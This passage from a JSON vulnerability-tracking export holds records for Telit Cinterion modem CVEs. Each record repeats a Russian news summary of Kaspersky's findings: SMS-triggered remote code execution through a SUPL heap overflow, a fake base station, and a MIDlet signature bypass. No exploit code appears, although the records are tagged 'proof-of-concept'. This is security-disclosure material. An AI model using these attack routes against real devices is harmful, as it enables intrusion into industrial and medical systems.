\u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 Telit Cinterion \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0432 \u0441\u0443\u0431\u0431\u043e\u0442\u0443 \u043d\u0430\u00a0\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 OffensiveCon \u0432 \u0411\u0435\u0440\u043b\u0438\u043d\u0435.", "creation_timestamp": "2024-05-13T19:01:51.000000Z"}, {"uuid": "c9739521-0897-4bf5-8d1f-b91bb76f1079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47611", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5723", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 SMS.\n\n\u0421\u043e\u0442\u043e\u0432\u044b\u0435 \u043c\u043e\u0434\u0435\u043c\u044b Cinterion \u043e\u0431\u044b\u0447\u043d\u043e \u0448\u0438\u0440\u043e\u043a\u043e \u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u0430 \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2023 \u0433\u043e\u0434\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Kaspersky ICS CERT \u0431\u044b\u043b\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0432\u043e\u0441\u0435\u043c\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0441\u0435\u043c\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u044b CVE-2023-47610 - CVE-2023-47616, \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 - \u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438.\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0448\u0438\u0440\u043e\u043a\u0443\u044e \u043b\u0438\u043d\u0435\u0439\u043a\u0443 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Cinterion BGS5, Cinterion EHS5/6/7, Cinterion PDS5/6/8, Cinterion ELS61/81 \u0438 Cinterion PLS62.\n\n\u0421\u0430\u043c\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0438\u0437 \u043d\u0438\u0445 - CVE-2023-47610, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438, \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 User Plane Location (SUPL) \u043c\u043e\u0434\u0435\u043c\u0430, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0446\u0435\u043d\u0438\u043b\u0438 \u0435\u0435 \u043d\u0430 8,8, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u043f\u043e \u043e\u0446\u0435\u043d\u043a\u0435 NIST \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0438\u043c\u0435\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 9,8.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439, \u043c\u043e\u0433\u0443\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043e\u0431\u043c\u0435\u043d\u0430 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043c\u043e\u0434\u0435\u043c\u0430\u0445, \u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d, \u0435\u0441\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043d\u043e\u043c\u0435\u0440 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043c\u043e\u0434\u0435\u043c\u0430 \u0432 \u0441\u0435\u0442\u0438 \u0441\u043e\u0442\u043e\u0432\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0445 SMS \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0438\u0432\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044f \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u0441\u0442\u0430\u043d\u0446\u0438\u044e, \u0447\u0442\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442 \u043e\u0431\u0445\u043e\u0434 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 MIDlet - Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 CVE-2023-47611 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 (\u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f), \u043e\u0431\u0445\u043e\u0434\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438.\n\nTelit \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043d\u043e \u043d\u0435 \u0432\u0441\u0435\u0445: \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438. \n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0448\u0438\u0440\u043e\u043a\u0438\u043c \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u044d\u0442\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445 \u043d\u0435\u0441\u0443\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0431\u043e\u0435\u0432.\n\n\u0422\u0435\u043c \u0431\u043e\u043b\u0435\u0435, \u0447\u0442\u043e \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u044b \u0432 \u0434\u0440\u0443\u0433\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0447\u0435\u043c \u0447\u0435\u0442\u043a\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u0435\u0441\u044c \u0441\u043f\u0435\u043a\u0442\u0440 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u043e.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 Telit Cinterion \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0432 \u0441\u0443\u0431\u0431\u043e\u0442\u0443 \u043d\u0430\u00a0\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 OffensiveCon \u0432 \u0411\u0435\u0440\u043b\u0438\u043d\u0435.", "creation_timestamp": "2024-05-13T19:01:51.000000Z"}, {"uuid": "ca3da5c0-f5ec-45f7-a781-163c195f97d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47616", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5723", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 SMS.\n\n\u0421\u043e\u0442\u043e\u0432\u044b\u0435 \u043c\u043e\u0434\u0435\u043c\u044b Cinterion \u043e\u0431\u044b\u0447\u043d\u043e \u0448\u0438\u0440\u043e\u043a\u043e \u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u0430 \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2023 \u0433\u043e\u0434\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Kaspersky ICS CERT \u0431\u044b\u043b\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0432\u043e\u0441\u0435\u043c\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0441\u0435\u043c\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u044b CVE-2023-47610 - CVE-2023-47616, \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 - \u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438.\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0448\u0438\u0440\u043e\u043a\u0443\u044e \u043b\u0438\u043d\u0435\u0439\u043a\u0443 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Cinterion BGS5, Cinterion EHS5/6/7, Cinterion PDS5/6/8, Cinterion ELS61/81 \u0438 Cinterion PLS62.\n\n\u0421\u0430\u043c\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0438\u0437 \u043d\u0438\u0445 - CVE-2023-47610, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438, \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 User Plane Location (SUPL) \u043c\u043e\u0434\u0435\u043c\u0430, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0446\u0435\u043d\u0438\u043b\u0438 \u0435\u0435 \u043d\u0430 8,8, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u043f\u043e \u043e\u0446\u0435\u043d\u043a\u0435 NIST \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0438\u043c\u0435\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 9,8.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439, \u043c\u043e\u0433\u0443\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043e\u0431\u043c\u0435\u043d\u0430 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043c\u043e\u0434\u0435\u043c\u0430\u0445, \u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d, \u0435\u0441\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043d\u043e\u043c\u0435\u0440 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043c\u043e\u0434\u0435\u043c\u0430 \u0432 \u0441\u0435\u0442\u0438 \u0441\u043e\u0442\u043e\u0432\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0445 SMS \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0438\u0432\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044f \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u0441\u0442\u0430\u043d\u0446\u0438\u044e, \u0447\u0442\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442 \u043e\u0431\u0445\u043e\u0434 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 MIDlet - Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 CVE-2023-47611 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 (\u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f), \u043e\u0431\u0445\u043e\u0434\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438.\n\nTelit \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043d\u043e \u043d\u0435 \u0432\u0441\u0435\u0445: \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438. \n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 